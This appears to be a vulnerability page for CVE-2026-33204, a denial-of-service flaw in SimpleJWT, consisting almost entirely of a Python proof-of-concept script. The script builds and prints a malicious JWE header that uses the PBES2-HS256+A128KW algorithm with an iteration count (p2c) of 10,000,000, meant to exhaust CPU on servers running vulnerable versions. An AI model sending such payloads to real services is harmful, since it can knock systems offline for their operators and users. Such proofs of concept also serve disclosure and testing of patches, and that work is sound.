CVE-2026-33204 SimpleJWT 拒绝服务漏洞

# PoC: Malicious JWE Header Generation # This script demonstrates how to create a JWE header with a high iteration count (p2c) # to trigger the DoS condition in vulnerable SimpleJWT versions. import json import base64 def malicious_jwe_header(): # Define the header with PBES2 algorithm and a very high p2c (iteration count) header = { "alg": "PBES2-HS256+A128KW", "enc": "A128CBC-HS256", "p2c": 10000000 # High iteration count to cause CPU exhaustion } # Encode to Base64URL header_json = json.dumps(header, separators=(',', ':')) header_b64 = base64.urlsafe_b64encode(header_json.encode()).decode().rstrip('=') print(f"Malicious JWE Header: {header_b64}") return header_b64 if __name__ == "__main__": malicious_jwe_header()